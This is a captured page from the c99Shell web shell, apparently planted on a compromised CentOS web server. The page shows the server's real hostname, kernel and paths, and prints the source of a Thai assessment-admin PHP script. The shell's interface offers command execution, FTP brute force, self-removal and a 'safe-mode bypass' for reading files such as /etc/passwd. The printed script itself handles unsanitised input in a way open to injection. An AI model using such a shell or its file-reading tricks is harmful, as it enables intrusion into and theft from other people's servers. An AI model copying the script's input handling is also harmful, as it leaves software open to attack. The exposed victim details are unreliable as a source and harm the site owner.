!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processSectionAll.php (4.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../global1.php";
include_once 
"../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsSectionRQ.php";
include_once 
"../class/clsSectionTQ.php";
include_once 
"../class/clsRadioQuestion.php";
include_once 
"../class/clsTextQuestion.php";
include_once 
"../class/clsHeaderQuestion.php";
include_once 
"../class/clsHeaderScore.php";
include_once 
"../class/clsDetailScore.php";

$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

//-------------------------For SectionAll----------------------
$obj = new SectionAll($oC);
if(
$method=="add"){
    
$obj->AddNew();
    
$obj->sectionid=$sectionid;
    
$obj->assid=$assid;
    
$obj->sectionRQid=$sectionRQid;
    
$obj->sectionTQid=$sectionTQid;
    
$obj->sequence=$sequence;
    
$obj->Save($typeQuestion);
    echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
}else if(
$method=="edit"){
    
$obj->SearchByKey();
    
$obj->GetRecord();
    
$obj->Edit();
    
$obj->sectionid=$sectionid;
    
$obj->assid=$assid;
    
$obj->sectionRQid=$sectionRQid;
    
$obj->sectionTQid=$sectionTQid;
    
$obj->sequence=$sequence;
    
$obj->Save();
}else if(
$method=="delete"){
    if(
$typeQuestion == '1'){    
        
$obj->SearchByKeySectionRQid($sectionRQid);
        
$obj->GetRecord();
        
$obj->DeleteSABySectionRQid();
    }else if(
$typeQuestion == '2'){
        
$obj->SearchByKeySectionTQid($sectionTQid);
        
$obj->GetRecord();
        
$obj->DeleteSABySectionTQid();
    }
}
//---------------------For SectionRQ --------------------------
if($typeQuestion == '1'){  //ทำเมื่อชนิดของแบบประเมินเป็นแบบปลายปิด
    
$obj = new SectionRQ($oC);
    if(
$method=="add"){
        
$obj->AddNew();
        
$obj->sectionRQid=$sectionRQid;
        
$obj->assid=$assid;
        
$obj->topicSectionRQ=$topicSectionRQ;
        
$obj->sequenceRQ=$sequenceRQ;
        
$obj->Save();
        echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
    }else if(
$method=="edit"){
        
$obj->SearchByKey($sectionRQid);
        
$obj->GetRecord();
        
$obj->Edit();
        
$obj->sectionRQid=$sectionRQid;
        
$obj->assid=$assid;
        
$obj->topicSectionRQ=$topicSectionRQ;
        
$obj->sequenceRQ=$sequenceRQ;
        
$obj->Save();
    }else if(
$method=="delete"){
        
$obj->SearchByKey($sectionRQid);
        
$obj->GetRecord();
        
$obj->Delete();

        
//------------For RadioQuesiton-------------ลบคำถามชนิดปลายปิด
        
$oRQ = new RadioQuestion($oC);
        
$oRQ->SearchByKeySectionRQid($sectionRQid);
        
$oRQ->GetRecord();
        
$oRQ->DeleteRQBySectonRQid();
        
//------------For HeaderQuestion--------------ลบคำถามข้อความหัวตารางคำถาม
        
$oHQ = new HeaderQuestion($oC);
        
$oHQ->SearchByKeySectionRQid($sectionRQid);
        
$oHQ->GetRecord();
        
$oHQ->DeleteRQBySectonRQid();
        
//------------For HeaderScore--------------ลบคำถามข้อความหัวตารางระดับคะแนน
        
$oHS = new HeaderScore($oC);
        
$oHS->SearchByKey($oHQ->HSid);
        
$oHS->GetRecord();
        
$oHS->Delete();
        
//------------For DetailScore--------------ลบคำถามข้อความหัวตารางย่อยระดับคะแนน
        
$oDS = new DetailScore($oC);
        for(
$i=0$i<$oHS->score_amount$i++){
            
$oDS->SearchByKeyHSid($oHQ->HSid);
            
$oDS->GetRecord();
            
$oDS->Delete();
        }
    }
    echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";

//---------------------For SectionTQ--------------------------
}else if($typeQuestion == '2'){ //ทำเมื่อชนิดของแบบประเมินเป็นแบบปลายเปิด
    
$obj = new SectionTQ($oC);
    if(
$method=="add"){
        
$obj->AddNew();
        
$obj->sectionTQid=$sectionTQid;
        
$obj->assid=$assid;
        
$obj->topicSectionTQ=$topicSectionTQ;
        
$obj->sequenceTQ=$sequenceTQ;
        
$obj->Save();
        echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
    }else if(
$method=="edit"){
        
$obj->SearchByKey($sectionTQid);
        
$obj->GetRecord();
        
$obj->Edit();
        
$obj->sectionTQid=$sectionTQid;
        
$obj->assid=$assid;
        
$obj->topicSectionTQ=$topicSectionTQ;
        
$obj->sequenceTQ=$sequenceTQ;
        
$obj->Save();
    }else if(
$method=="delete"){
        
$obj->SearchByKey($sectionTQid);
        
$obj->GetRecord();
        
$obj->Delete();
        
        
//------------For TextQuesiton-------------ลบคำถามชนิดปลายเปิด
        
$oTQ = new TextQuestion($oC);
        
$oTQ->SearchByKeySectionTQid($sectionTQid);
        
$oTQ->GetRecord();
        
$oTQ->DeleteTQBySectonTQid();
    }
        echo 
"<meta http-equiv='refresh' content='0; URL=createForm.php?assid=$assid;'>";
}

//$obj->Close();
//$oC->Disconnect();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0101 ]--